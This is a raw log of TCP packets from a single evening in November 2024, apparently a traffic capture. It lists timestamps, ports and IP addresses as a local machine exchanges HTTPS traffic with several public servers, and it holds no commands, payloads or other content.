Nov 22, 2024 22:59:32.905123949 CET	443	49701	35.190.80.1	192.168.2.16
Nov 22, 2024 22:59:32.906584024 CET	443	49701	35.190.80.1	192.168.2.16
Nov 22, 2024 22:59:32.906661987 CET	49701	443	192.168.2.16	35.190.80.1
Nov 22, 2024 22:59:32.907694101 CET	49701	443	192.168.2.16	35.190.80.1
Nov 22, 2024 22:59:32.907809973 CET	443	49701	35.190.80.1	192.168.2.16
Nov 22, 2024 22:59:32.907847881 CET	49701	443	192.168.2.16	35.190.80.1
Nov 22, 2024 22:59:32.951363087 CET	443	49701	35.190.80.1	192.168.2.16
Nov 22, 2024 22:59:32.962251902 CET	49701	443	192.168.2.16	35.190.80.1
Nov 22, 2024 22:59:32.962271929 CET	443	49701	35.190.80.1	192.168.2.16
Nov 22, 2024 22:59:33.009237051 CET	49701	443	192.168.2.16	35.190.80.1
Nov 22, 2024 22:59:33.297292948 CET	443	49703	172.67.218.103	192.168.2.16
Nov 22, 2024 22:59:33.297579050 CET	49703	443	192.168.2.16	172.67.218.103
Nov 22, 2024 22:59:33.297605991 CET	443	49703	172.67.218.103	192.168.2.16
Nov 22, 2024 22:59:33.299115896 CET	443	49703	172.67.218.103	192.168.2.16
Nov 22, 2024 22:59:33.299467087 CET	49703	443	192.168.2.16	172.67.218.103
Nov 22, 2024 22:59:33.299467087 CET	49703	443	192.168.2.16	172.67.218.103
Nov 22, 2024 22:59:33.299521923 CET	49703	443	192.168.2.16	172.67.218.103
Nov 22, 2024 22:59:33.299521923 CET	49703	443	192.168.2.16	172.67.218.103
Nov 22, 2024 22:59:33.299572945 CET	443	49703	172.67.218.103	192.168.2.16
Nov 22, 2024 22:59:33.299772024 CET	443	49703	172.67.218.103	192.168.2.16
Nov 22, 2024 22:59:33.299802065 CET	49706	443	192.168.2.16	172.67.218.103
Nov 22, 2024 22:59:33.299839020 CET	443	49706	172.67.218.103	192.168.2.16
Nov 22, 2024 22:59:33.299849033 CET	49703	443	192.168.2.16	172.67.218.103
Nov 22, 2024 22:59:33.299849033 CET	49703	443	192.168.2.16	172.67.218.103
Nov 22, 2024 22:59:33.299961090 CET	49706	443	192.168.2.16	172.67.218.103
Nov 22, 2024 22:59:33.300172091 CET	49706	443	192.168.2.16	172.67.218.103
Nov 22, 2024 22:59:33.300204039 CET	443	49706	172.67.218.103	192.168.2.16
Nov 22, 2024 22:59:33.376593113 CET	443	49701	35.190.80.1	192.168.2.16
Nov 22, 2024 22:59:33.376677036 CET	443	49701	35.190.80.1	192.168.2.16
Nov 22, 2024 22:59:33.377420902 CET	49707	443	192.168.2.16	35.190.80.1
Nov 22, 2024 22:59:33.377425909 CET	49701	443	192.168.2.16	35.190.80.1
Nov 22, 2024 22:59:33.377465963 CET	443	49707	35.190.80.1	192.168.2.16
Nov 22, 2024 22:59:33.377466917 CET	443	49701	35.190.80.1	192.168.2.16
Nov 22, 2024 22:59:33.377500057 CET	49701	443	192.168.2.16	35.190.80.1
Nov 22, 2024 22:59:33.377557039 CET	49707	443	192.168.2.16	35.190.80.1
Nov 22, 2024 22:59:33.377563000 CET	49701	443	192.168.2.16	35.190.80.1
Nov 22, 2024 22:59:33.377818108 CET	49707	443	192.168.2.16	35.190.80.1
Nov 22, 2024 22:59:33.377835035 CET	443	49707	35.190.80.1	192.168.2.16
Nov 22, 2024 22:59:33.981456995 CET	443	49705	142.250.181.68	192.168.2.16
Nov 22, 2024 22:59:33.991686106 CET	49705	443	192.168.2.16	142.250.181.68
Nov 22, 2024 22:59:33.991718054 CET	443	49705	142.250.181.68	192.168.2.16
Nov 22, 2024 22:59:33.994215965 CET	443	49705	142.250.181.68	192.168.2.16
Nov 22, 2024 22:59:33.994795084 CET	49705	443	192.168.2.16	142.250.181.68
Nov 22, 2024 22:59:34.000421047 CET	49705	443	192.168.2.16	142.250.181.68
Nov 22, 2024 22:59:34.000638008 CET	443	49705	142.250.181.68	192.168.2.16
Nov 22, 2024 22:59:34.048311949 CET	49705	443	192.168.2.16	142.250.181.68
Nov 22, 2024 22:59:34.048350096 CET	443	49705	142.250.181.68	192.168.2.16
Nov 22, 2024 22:59:34.095246077 CET	49705	443	192.168.2.16	142.250.181.68
Nov 22, 2024 22:59:34.302284002 CET	49673	443	192.168.2.16	204.79.197.203
Nov 22, 2024 22:59:34.516983986 CET	443	49706	172.67.218.103	192.168.2.16
Nov 22, 2024 22:59:34.517338991 CET	49706	443	192.168.2.16	172.67.218.103
Nov 22, 2024 22:59:34.517371893 CET	443	49706	172.67.218.103	192.168.2.16
Nov 22, 2024 22:59:34.517878056 CET	443	49706	172.67.218.103	192.168.2.16
Nov 22, 2024 22:59:34.518289089 CET	49706	443	192.168.2.16	172.67.218.103
Nov 22, 2024 22:59:34.518384933 CET	443	49706	172.67.218.103	192.168.2.16
Nov 22, 2024 22:59:34.518466949 CET	49706	443	192.168.2.16	172.67.218.103
Nov 22, 2024 22:59:34.530587912 CET	49690	80	192.168.2.16	192.229.211.108
Nov 22, 2024 22:59:34.563355923 CET	443	49706	172.67.218.103	192.168.2.16
Nov 22, 2024 22:59:34.587476015 CET	443	49707	35.190.80.1	192.168.2.16
Nov 22, 2024 22:59:34.587759972 CET	49707	443	192.168.2.16	35.190.80.1
Nov 22, 2024 22:59:34.587783098 CET	443	49707	35.190.80.1	192.168.2.16
Nov 22, 2024 22:59:34.588162899 CET	443	49707	35.190.80.1	192.168.2.16
Nov 22, 2024 22:59:34.588788986 CET	49707	443	192.168.2.16	35.190.80.1
Nov 22, 2024 22:59:34.588864088 CET	443	49707	35.190.80.1	192.168.2.16
Nov 22, 2024 22:59:34.588980913 CET	49707	443	192.168.2.16	35.190.80.1
Nov 22, 2024 22:59:34.635329008 CET	443	49707	35.190.80.1	192.168.2.16
Nov 22, 2024 22:59:34.966567993 CET	443	49706	172.67.218.103	192.168.2.16
Nov 22, 2024 22:59:34.966629982 CET	443	49706	172.67.218.103	192.168.2.16
Nov 22, 2024 22:59:34.966672897 CET	443	49706	172.67.218.103	192.168.2.16
Nov 22, 2024 22:59:34.966711998 CET	443	49706	172.67.218.103	192.168.2.16
Nov 22, 2024 22:59:34.966741085 CET	49706	443	192.168.2.16	172.67.218.103
Nov 22, 2024 22:59:34.966768980 CET	443	49706	172.67.218.103	192.168.2.16
Nov 22, 2024 22:59:34.966784000 CET	443	49706	172.67.218.103	192.168.2.16
Nov 22, 2024 22:59:34.966836929 CET	49706	443	192.168.2.16	172.67.218.103
Nov 22, 2024 22:59:34.966836929 CET	49706	443	192.168.2.16	172.67.218.103
Nov 22, 2024 22:59:34.969125986 CET	443	49706	172.67.218.103	192.168.2.16
Nov 22, 2024 22:59:34.978183031 CET	443	49706	172.67.218.103	192.168.2.16
Nov 22, 2024 22:59:34.978240013 CET	443	49706	172.67.218.103	192.168.2.16
Nov 22, 2024 22:59:34.978264093 CET	49706	443	192.168.2.16	172.67.218.103
Nov 22, 2024 22:59:34.978300095 CET	443	49706	172.67.218.103	192.168.2.16
Nov 22, 2024 22:59:34.978507042 CET	49706	443	192.168.2.16	172.67.218.103
Nov 22, 2024 22:59:34.985824108 CET	443	49706	172.67.218.103	192.168.2.16
Nov 22, 2024 22:59:35.036376953 CET	49706	443	192.168.2.16	172.67.218.103
Nov 22, 2024 22:59:35.049066067 CET	443	49707	35.190.80.1	192.168.2.16
Nov 22, 2024 22:59:35.049145937 CET	443	49707	35.190.80.1	192.168.2.16
Nov 22, 2024 22:59:35.049329996 CET	49707	443	192.168.2.16	35.190.80.1
Nov 22, 2024 22:59:35.049418926 CET	49707	443	192.168.2.16	35.190.80.1
Nov 22, 2024 22:59:35.049418926 CET	49707	443	192.168.2.16	35.190.80.1
Nov 22, 2024 22:59:35.049443007 CET	443	49707	35.190.80.1	192.168.2.16
Nov 22, 2024 22:59:35.049501896 CET	49707	443	192.168.2.16	35.190.80.1
Nov 22, 2024 22:59:35.086430073 CET	443	49706	172.67.218.103	192.168.2.16
Nov 22, 2024 22:59:35.132230997 CET	49706	443	192.168.2.16	172.67.218.103
Nov 22, 2024 22:59:35.157099962 CET	443	49706	172.67.218.103	192.168.2.16
Nov 22, 2024 22:59:35.160846949 CET	443	49706	172.67.218.103	192.168.2.16
Nov 22, 2024 22:59:35.160931110 CET	49706	443	192.168.2.16	172.67.218.103
Nov 22, 2024 22:59:35.161003113 CET	443	49706	172.67.218.103	192.168.2.16
Nov 22, 2024 22:59:35.168512106 CET	443	49706	172.67.218.103	192.168.2.16
Nov 22, 2024 22:59:35.168569088 CET	49706	443	192.168.2.16	172.67.218.103
Nov 22, 2024 22:59:35.168596029 CET	443	49706	172.67.218.103	192.168.2.16
Nov 22, 2024 22:59:35.175992966 CET	443	49706	172.67.218.103	192.168.2.16
Nov 22, 2024 22:59:35.176055908 CET	49706	443	192.168.2.16	172.67.218.103
Nov 22, 2024 22:59:35.176086903 CET	443	49706	172.67.218.103	192.168.2.16
Nov 22, 2024 22:59:35.183531046 CET	443	49706	172.67.218.103	192.168.2.16
Nov 22, 2024 22:59:35.183587074 CET	49706	443	192.168.2.16	172.67.218.103
Nov 22, 2024 22:59:35.183615923 CET	443	49706	172.67.218.103	192.168.2.16
Nov 22, 2024 22:59:35.191076040 CET	443	49706	172.67.218.103	192.168.2.16
Nov 22, 2024 22:59:35.191132069 CET	49706	443	192.168.2.16	172.67.218.103
Nov 22, 2024 22:59:35.191174984 CET	443	49706	172.67.218.103	192.168.2.16
Nov 22, 2024 22:59:35.206155062 CET	443	49706	172.67.218.103	192.168.2.16
Nov 22, 2024 22:59:35.206233978 CET	49706	443	192.168.2.16	172.67.218.103
Nov 22, 2024 22:59:35.206278086 CET	443	49706	172.67.218.103	192.168.2.16
Nov 22, 2024 22:59:35.213778973 CET	443	49706	172.67.218.103	192.168.2.16
Nov 22, 2024 22:59:35.213845015 CET	49706	443	192.168.2.16	172.67.218.103
Nov 22, 2024 22:59:35.213865042 CET	443	49706	172.67.218.103	192.168.2.16
Nov 22, 2024 22:59:35.221287012 CET	443	49706	172.67.218.103	192.168.2.16
Nov 22, 2024 22:59:35.221359015 CET	49706	443	192.168.2.16	172.67.218.103
Nov 22, 2024 22:59:35.221390009 CET	443	49706	172.67.218.103	192.168.2.16
Nov 22, 2024 22:59:35.221419096 CET	443	49706	172.67.218.103	192.168.2.16
Nov 22, 2024 22:59:35.221462011 CET	49706	443	192.168.2.16	172.67.218.103
Nov 22, 2024 22:59:35.229032993 CET	443	49706	172.67.218.103	192.168.2.16
Nov 22, 2024 22:59:35.236552954 CET	443	49706	172.67.218.103	192.168.2.16
Nov 22, 2024 22:59:35.236638069 CET	49706	443	192.168.2.16	172.67.218.103
Nov 22, 2024 22:59:35.236685038 CET	443	49706	172.67.218.103	192.168.2.16
Nov 22, 2024 22:59:35.251230001 CET	443	49706	172.67.218.103	192.168.2.16
Nov 22, 2024 22:59:35.251302004 CET	49706	443	192.168.2.16	172.67.218.103
Nov 22, 2024 22:59:35.251341105 CET	443	49706	172.67.218.103	192.168.2.16
Nov 22, 2024 22:59:35.292243004 CET	49706	443	192.168.2.16	172.67.218.103
Nov 22, 2024 22:59:35.292299986 CET	443	49706	172.67.218.103	192.168.2.16
Nov 22, 2024 22:59:35.339255095 CET	49706	443	192.168.2.16	172.67.218.103
Nov 22, 2024 22:59:35.349023104 CET	443	49706	172.67.218.103	192.168.2.16
Nov 22, 2024 22:59:35.352751017 CET	443	49706	172.67.218.103	192.168.2.16
Nov 22, 2024 22:59:35.352821112 CET	49706	443	192.168.2.16	172.67.218.103
Nov 22, 2024 22:59:35.352835894 CET	443	49706	172.67.218.103	192.168.2.16
Nov 22, 2024 22:59:35.352860928 CET	443	49706	172.67.218.103	192.168.2.16
Nov 22, 2024 22:59:35.352910042 CET	49706	443	192.168.2.16	172.67.218.103
Nov 22, 2024 22:59:35.360464096 CET	443	49706	172.67.218.103	192.168.2.16
Nov 22, 2024 22:59:35.375488997 CET	443	49706	172.67.218.103	192.168.2.16
Nov 22, 2024 22:59:35.375580072 CET	49706	443	192.168.2.16	172.67.218.103
Nov 22, 2024 22:59:35.375644922 CET	443	49706	172.67.218.103	192.168.2.16
Nov 22, 2024 22:59:35.375711918 CET	49706	443	192.168.2.16	172.67.218.103
Nov 22, 2024 22:59:35.383111000 CET	443	49706	172.67.218.103	192.168.2.16
Nov 22, 2024 22:59:35.383131027 CET	443	49706	172.67.218.103	192.168.2.16
Nov 22, 2024 22:59:35.383184910 CET	49706	443	192.168.2.16	172.67.218.103
Nov 22, 2024 22:59:35.390700102 CET	443	49706	172.67.218.103	192.168.2.16
Nov 22, 2024 22:59:35.390775919 CET	49706	443	192.168.2.16	172.67.218.103
Nov 22, 2024 22:59:35.390822887 CET	443	49706	172.67.218.103	192.168.2.16
Nov 22, 2024 22:59:35.399596930 CET	443	49706	172.67.218.103	192.168.2.16
Nov 22, 2024 22:59:35.399691105 CET	49706	443	192.168.2.16	172.67.218.103
Nov 22, 2024 22:59:35.399740934 CET	443	49706	172.67.218.103	192.168.2.16
Nov 22, 2024 22:59:35.399801970 CET	49706	443	192.168.2.16	172.67.218.103
Nov 22, 2024 22:59:35.408272028 CET	443	49706	172.67.218.103	192.168.2.16
Nov 22, 2024 22:59:35.408292055 CET	443	49706	172.67.218.103	192.168.2.16
Nov 22, 2024 22:59:35.408360004 CET	49706	443	192.168.2.16	172.67.218.103
Nov 22, 2024 22:59:35.414536953 CET	443	49706	172.67.218.103	192.168.2.16
Nov 22, 2024 22:59:35.414555073 CET	443	49706	172.67.218.103	192.168.2.16
Nov 22, 2024 22:59:35.414609909 CET	49706	443	192.168.2.16	172.67.218.103
Nov 22, 2024 22:59:35.414652109 CET	49706	443	192.168.2.16	172.67.218.103
Nov 22, 2024 22:59:35.417736053 CET	443	49706	172.67.218.103	192.168.2.16
Nov 22, 2024 22:59:35.417815924 CET	49706	443	192.168.2.16	172.67.218.103
Nov 22, 2024 22:59:35.424011946 CET	443	49706	172.67.218.103	192.168.2.16
Nov 22, 2024 22:59:35.424093008 CET	49706	443	192.168.2.16	172.67.218.103
Nov 22, 2024 22:59:35.430052042 CET	443	49706	172.67.218.103	192.168.2.16
Nov 22, 2024 22:59:35.430131912 CET	49706	443	192.168.2.16	172.67.218.103
Nov 22, 2024 22:59:35.436321020 CET	443	49706	172.67.218.103	192.168.2.16
Nov 22, 2024 22:59:35.436417103 CET	49706	443	192.168.2.16	172.67.218.103
Nov 22, 2024 22:59:35.436439991 CET	443	49706	172.67.218.103	192.168.2.16
Nov 22, 2024 22:59:35.436466932 CET	443	49706	172.67.218.103	192.168.2.16
Nov 22, 2024 22:59:35.436554909 CET	49706	443	192.168.2.16	172.67.218.103
Nov 22, 2024 22:59:35.436593056 CET	443	49706	172.67.218.103	192.168.2.16
Nov 22, 2024 22:59:35.436640978 CET	49706	443	192.168.2.16	172.67.218.103
Nov 22, 2024 22:59:35.436646938 CET	443	49706	172.67.218.103	192.168.2.16
Nov 22, 2024 22:59:35.436671972 CET	443	49706	172.67.218.103	192.168.2.16
Nov 22, 2024 22:59:35.436702967 CET	49706	443	192.168.2.16	172.67.218.103
Nov 22, 2024 22:59:35.455348969 CET	49710	443	192.168.2.16	172.67.218.103
Nov 22, 2024 22:59:35.455394983 CET	443	49710	172.67.218.103	192.168.2.16
Nov 22, 2024 22:59:35.455488920 CET	49710	443	192.168.2.16	172.67.218.103
Nov 22, 2024 22:59:35.455859900 CET	49710	443	192.168.2.16	172.67.218.103
Nov 22, 2024 22:59:35.455882072 CET	443	49710	172.67.218.103	192.168.2.16
Nov 22, 2024 22:59:35.567959070 CET	49711	443	192.168.2.16	172.67.218.103
Nov 22, 2024 22:59:35.568092108 CET	443	49711	172.67.218.103	192.168.2.16
Nov 22, 2024 22:59:35.568253994 CET	49711	443	192.168.2.16	172.67.218.103
Nov 22, 2024 22:59:35.568568945 CET	49711	443	192.168.2.16	172.67.218.103
Nov 22, 2024 22:59:35.568603992 CET	443	49711	172.67.218.103	192.168.2.16
Nov 22, 2024 22:59:35.609841108 CET	49712	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:35.609947920 CET	443	49712	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:35.610143900 CET	49712	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:35.610244036 CET	49712	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:35.610276937 CET	443	49712	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:35.610774994 CET	49713	443	192.168.2.16	104.21.94.21
Nov 22, 2024 22:59:35.610837936 CET	443	49713	104.21.94.21	192.168.2.16
Nov 22, 2024 22:59:35.610910892 CET	49713	443	192.168.2.16	104.21.94.21
Nov 22, 2024 22:59:35.611295938 CET	49713	443	192.168.2.16	104.21.94.21
Nov 22, 2024 22:59:35.611323118 CET	443	49713	104.21.94.21	192.168.2.16
Nov 22, 2024 22:59:36.302408934 CET	49715	443	192.168.2.16	23.218.208.109
Nov 22, 2024 22:59:36.302483082 CET	443	49715	23.218.208.109	192.168.2.16
Nov 22, 2024 22:59:36.302675009 CET	49715	443	192.168.2.16	23.218.208.109
Nov 22, 2024 22:59:36.304764986 CET	49715	443	192.168.2.16	23.218.208.109
Nov 22, 2024 22:59:36.304797888 CET	443	49715	23.218.208.109	192.168.2.16
Nov 22, 2024 22:59:36.763791084 CET	443	49710	172.67.218.103	192.168.2.16
Nov 22, 2024 22:59:36.764138937 CET	49710	443	192.168.2.16	172.67.218.103
Nov 22, 2024 22:59:36.764214039 CET	443	49710	172.67.218.103	192.168.2.16
Nov 22, 2024 22:59:36.765678883 CET	443	49710	172.67.218.103	192.168.2.16
Nov 22, 2024 22:59:36.765777111 CET	49710	443	192.168.2.16	172.67.218.103
Nov 22, 2024 22:59:36.766057014 CET	49710	443	192.168.2.16	172.67.218.103
Nov 22, 2024 22:59:36.766057014 CET	49710	443	192.168.2.16	172.67.218.103
Nov 22, 2024 22:59:36.766108990 CET	49710	443	192.168.2.16	172.67.218.103
Nov 22, 2024 22:59:36.766155005 CET	443	49710	172.67.218.103	192.168.2.16
Nov 22, 2024 22:59:36.766241074 CET	49710	443	192.168.2.16	172.67.218.103
Nov 22, 2024 22:59:36.766444921 CET	49716	443	192.168.2.16	172.67.218.103
Nov 22, 2024 22:59:36.766541004 CET	443	49716	172.67.218.103	192.168.2.16
Nov 22, 2024 22:59:36.766639948 CET	49716	443	192.168.2.16	172.67.218.103
Nov 22, 2024 22:59:36.766855955 CET	49716	443	192.168.2.16	172.67.218.103
Nov 22, 2024 22:59:36.766904116 CET	443	49716	172.67.218.103	192.168.2.16
Nov 22, 2024 22:59:36.922049999 CET	443	49711	172.67.218.103	192.168.2.16
Nov 22, 2024 22:59:36.922394037 CET	49711	443	192.168.2.16	172.67.218.103
Nov 22, 2024 22:59:36.922463894 CET	443	49711	172.67.218.103	192.168.2.16
Nov 22, 2024 22:59:36.926208973 CET	443	49711	172.67.218.103	192.168.2.16
Nov 22, 2024 22:59:36.926306963 CET	49711	443	192.168.2.16	172.67.218.103
Nov 22, 2024 22:59:36.926600933 CET	49711	443	192.168.2.16	172.67.218.103
Nov 22, 2024 22:59:36.926662922 CET	49711	443	192.168.2.16	172.67.218.103
Nov 22, 2024 22:59:36.926662922 CET	49711	443	192.168.2.16	172.67.218.103
Nov 22, 2024 22:59:36.926800966 CET	443	49711	172.67.218.103	192.168.2.16
Nov 22, 2024 22:59:36.926875114 CET	49711	443	192.168.2.16	172.67.218.103
Nov 22, 2024 22:59:36.926954985 CET	49717	443	192.168.2.16	172.67.218.103
Nov 22, 2024 22:59:36.927072048 CET	443	49717	172.67.218.103	192.168.2.16
Nov 22, 2024 22:59:36.927180052 CET	49717	443	192.168.2.16	172.67.218.103
Nov 22, 2024 22:59:36.927381039 CET	49717	443	192.168.2.16	172.67.218.103
Nov 22, 2024 22:59:36.927411079 CET	443	49717	172.67.218.103	192.168.2.16
Nov 22, 2024 22:59:36.970851898 CET	443	49713	104.21.94.21	192.168.2.16
Nov 22, 2024 22:59:36.971189976 CET	49713	443	192.168.2.16	104.21.94.21
Nov 22, 2024 22:59:36.971215010 CET	443	49713	104.21.94.21	192.168.2.16
Nov 22, 2024 22:59:36.972683907 CET	443	49713	104.21.94.21	192.168.2.16
Nov 22, 2024 22:59:36.972764969 CET	49713	443	192.168.2.16	104.21.94.21
Nov 22, 2024 22:59:36.973172903 CET	49713	443	192.168.2.16	104.21.94.21
Nov 22, 2024 22:59:36.973198891 CET	49713	443	192.168.2.16	104.21.94.21
Nov 22, 2024 22:59:36.973252058 CET	443	49713	104.21.94.21	192.168.2.16
Nov 22, 2024 22:59:36.973284960 CET	49713	443	192.168.2.16	104.21.94.21
Nov 22, 2024 22:59:36.973361969 CET	49713	443	192.168.2.16	104.21.94.21
Nov 22, 2024 22:59:36.973752975 CET	49718	443	192.168.2.16	104.21.94.21
Nov 22, 2024 22:59:36.973783016 CET	443	49718	104.21.94.21	192.168.2.16
Nov 22, 2024 22:59:36.973870993 CET	49718	443	192.168.2.16	104.21.94.21
Nov 22, 2024 22:59:36.974178076 CET	49718	443	192.168.2.16	104.21.94.21
Nov 22, 2024 22:59:36.974205971 CET	443	49718	104.21.94.21	192.168.2.16
Nov 22, 2024 22:59:36.990417004 CET	443	49712	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:36.990751982 CET	49712	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:36.990782976 CET	443	49712	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:36.991799116 CET	443	49712	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:36.991885900 CET	49712	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:36.993240118 CET	49712	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:36.993305922 CET	443	49712	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:36.993609905 CET	49712	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:36.993621111 CET	443	49712	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:37.045249939 CET	49712	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:37.504523993 CET	443	49712	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:37.504568100 CET	443	49712	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:37.504610062 CET	443	49712	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:37.504621983 CET	49712	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:37.504648924 CET	443	49712	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:37.504689932 CET	443	49712	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:37.504693985 CET	49712	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:37.504703045 CET	443	49712	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:37.504750967 CET	49712	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:37.512731075 CET	443	49712	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:37.521150112 CET	443	49712	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:37.521203995 CET	49712	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:37.521213055 CET	443	49712	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:37.529331923 CET	443	49712	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:37.529388905 CET	49712	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:37.529397964 CET	443	49712	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:37.570230961 CET	49712	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:37.624190092 CET	443	49712	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:37.666244030 CET	49712	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:37.666270971 CET	443	49712	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:37.714286089 CET	49712	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:37.714895964 CET	443	49712	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:37.720030069 CET	443	49712	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:37.720084906 CET	49712	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:37.720099926 CET	443	49712	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:37.732453108 CET	443	49712	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:37.732518911 CET	49712	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:37.732543945 CET	443	49712	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:37.740298033 CET	443	49712	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:37.740344048 CET	443	49712	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:37.740360975 CET	49712	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:37.740369081 CET	443	49712	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:37.740408897 CET	49712	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:37.748182058 CET	443	49712	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:37.755878925 CET	443	49712	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:37.755968094 CET	443	49712	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:37.755995035 CET	49712	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:37.756002903 CET	443	49712	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:37.756043911 CET	49712	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:37.763855934 CET	443	49712	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:37.770792007 CET	443	49712	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:37.770854950 CET	49712	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:37.770869970 CET	443	49712	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:37.777729034 CET	443	49712	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:37.777792931 CET	49712	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:37.777806044 CET	443	49712	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:37.784813881 CET	443	49712	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:37.784873962 CET	49712	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:37.784887075 CET	443	49712	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:37.798741102 CET	443	49712	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:37.798777103 CET	443	49712	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:37.798818111 CET	49712	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:37.798832893 CET	443	49712	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:37.798894882 CET	49712	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:37.805546045 CET	443	49712	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:37.805656910 CET	443	49712	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:37.805706978 CET	49712	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:37.806207895 CET	49712	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:37.806222916 CET	443	49712	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:37.813062906 CET	443	49715	23.218.208.109	192.168.2.16
Nov 22, 2024 22:59:37.813148975 CET	49715	443	192.168.2.16	23.218.208.109
Nov 22, 2024 22:59:37.818265915 CET	49715	443	192.168.2.16	23.218.208.109
Nov 22, 2024 22:59:37.818293095 CET	443	49715	23.218.208.109	192.168.2.16
Nov 22, 2024 22:59:37.818639040 CET	443	49715	23.218.208.109	192.168.2.16
Nov 22, 2024 22:59:37.858256102 CET	49715	443	192.168.2.16	23.218.208.109
Nov 22, 2024 22:59:37.863102913 CET	49715	443	192.168.2.16	23.218.208.109
Nov 22, 2024 22:59:37.907330990 CET	443	49715	23.218.208.109	192.168.2.16
Nov 22, 2024 22:59:37.939160109 CET	49678	443	192.168.2.16	20.189.173.10
Nov 22, 2024 22:59:37.985683918 CET	49719	443	192.168.2.16	104.18.94.41
Nov 22, 2024 22:59:37.985788107 CET	443	49719	104.18.94.41	192.168.2.16
Nov 22, 2024 22:59:37.985872030 CET	49719	443	192.168.2.16	104.18.94.41
Nov 22, 2024 22:59:37.986167908 CET	49719	443	192.168.2.16	104.18.94.41
Nov 22, 2024 22:59:37.986198902 CET	443	49719	104.18.94.41	192.168.2.16
Nov 22, 2024 22:59:38.075831890 CET	443	49716	172.67.218.103	192.168.2.16
Nov 22, 2024 22:59:38.076241970 CET	49716	443	192.168.2.16	172.67.218.103
Nov 22, 2024 22:59:38.076263905 CET	443	49716	172.67.218.103	192.168.2.16
Nov 22, 2024 22:59:38.077580929 CET	443	49716	172.67.218.103	192.168.2.16
Nov 22, 2024 22:59:38.077661991 CET	49716	443	192.168.2.16	172.67.218.103
Nov 22, 2024 22:59:38.078119040 CET	49716	443	192.168.2.16	172.67.218.103
Nov 22, 2024 22:59:38.078213930 CET	443	49716	172.67.218.103	192.168.2.16
Nov 22, 2024 22:59:38.078330040 CET	49716	443	192.168.2.16	172.67.218.103
Nov 22, 2024 22:59:38.078388929 CET	49716	443	192.168.2.16	172.67.218.103
Nov 22, 2024 22:59:38.078408957 CET	443	49716	172.67.218.103	192.168.2.16
Nov 22, 2024 22:59:38.129251957 CET	49716	443	192.168.2.16	172.67.218.103
Nov 22, 2024 22:59:38.241262913 CET	49678	443	192.168.2.16	20.189.173.10
Nov 22, 2024 22:59:38.249802113 CET	443	49718	104.21.94.21	192.168.2.16
Nov 22, 2024 22:59:38.250116110 CET	49718	443	192.168.2.16	104.21.94.21
